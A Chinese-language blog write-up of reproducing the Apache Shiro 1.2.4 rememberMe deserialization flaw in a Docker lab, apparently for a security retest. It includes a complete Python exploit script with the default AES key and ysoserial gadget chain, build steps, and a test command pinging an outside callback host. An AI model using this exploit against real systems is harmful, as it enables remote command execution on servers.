今天上班的時候收到了一個複測的任務,打開一看,shiro反序列化漏洞,What?這是個什麼東西,經百度查找後才知道,原來是Java的開發框架,好吧,仍是沒據說過。。因爲初測報告上的過程過於簡略(惟一有用的只有KEY),因此不得不本身研究一番了。java
漏洞版本<=1.2.4,使用docker搭建
python
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
訪問80端口便可訪問漏洞環境linux
一、生成payload的腳本git
將下面的腳本保存至本地命名爲shiro_poc.py,而後進入linux系統/tmp目錄下(如想使用其餘KEY,替換腳本中的便可)github
不要使用vi/vim命令建立文件再粘貼過去,粘貼會破壞代碼的佈局格式docker
命令行輸入rz回車,就會跳出文件上傳的頁面(若是報錯,pip安裝一下),選擇文件上傳便可vim
# pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("/tmp/payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
二、安裝模塊瀏覽器
腳本使用的是python3,安裝模塊時要使用pip3 install 模塊名cookie
其中有一個模塊須要強調,就是安裝pycrypto,用來解決報錯No module named Crypto.Cipherapp
pip3 install pycrypto
三、ysoserial的jar文件
依次執行如下命令(jar的文件名要和腳本中的同樣,文件要和腳本在同一目錄下)
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
在腳本後面輸入你想要執行的命令,例:
python3 shiro_poc.py "ping fkl2af.ceye.io"
而後便會在腳本所在目錄下生成文件payload.cookie
瀏覽器打開漏洞環境並登錄進去,點擊account page抓包
用payload.cookie中內容替換Cookie中的所有內容,Go
到ceye平臺查看便可到流量記錄
最後感謝達哥和豪哥的幫助,讓我順利完成複測
如想學習更多漏洞復現,歡迎關注公衆號Timeline Sec
參考連接:
https://paper.seebug.org/shiro-rememberme-1-2-4/